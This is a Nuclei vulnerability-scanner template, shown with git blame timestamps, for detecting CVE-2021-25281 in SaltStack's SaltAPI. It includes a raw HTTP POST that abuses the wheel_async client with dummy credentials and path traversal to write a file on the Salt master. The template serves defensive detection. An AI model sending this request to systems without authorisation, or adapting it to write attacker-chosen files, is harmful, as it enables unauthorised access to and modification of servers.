nuclei-templates/cves/2021/CVE-2021-25281.yaml

42 lines
1.1 KiB
YAML
Raw Normal View History

2021-02-26 09:02:30 +00:00
id: CVE-2021-25281
info:
2021-11-28 11:52:02 +00:00
name: SaltStack wheel_async unauth access
2021-02-26 09:02:30 +00:00
author: madrobot
severity: critical
2021-02-26 09:05:50 +00:00
description: The SaltAPI does not honor eauth credentials for the wheel_async client. Thus, an attacker can remotely run any wheel modules on the master.
2021-11-28 11:52:02 +00:00
reference:
- http://hackdig.com/02/hack-283902.htm
- https://dozer.nz/posts/saltapi-vulns
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2021-25281
cwe-id: CWE-287
2021-11-28 11:52:02 +00:00
tags: cve,cve2021,saltapi,rce,saltstack
2021-02-26 09:02:30 +00:00
requests:
- raw:
- |
POST /run HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
2021-02-26 12:42:25 +00:00
{"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}
2021-02-26 09:02:30 +00:00
matchers-condition: and
matchers:
- type: word
2021-11-28 11:52:02 +00:00
part: body
2021-02-26 09:02:30 +00:00
words:
- "return"
- "tag"
- "jid"
- "salt"
- "wheel"
2021-02-26 12:25:38 +00:00
condition: and
2021-02-26 09:02:30 +00:00
- type: status
status:
- 200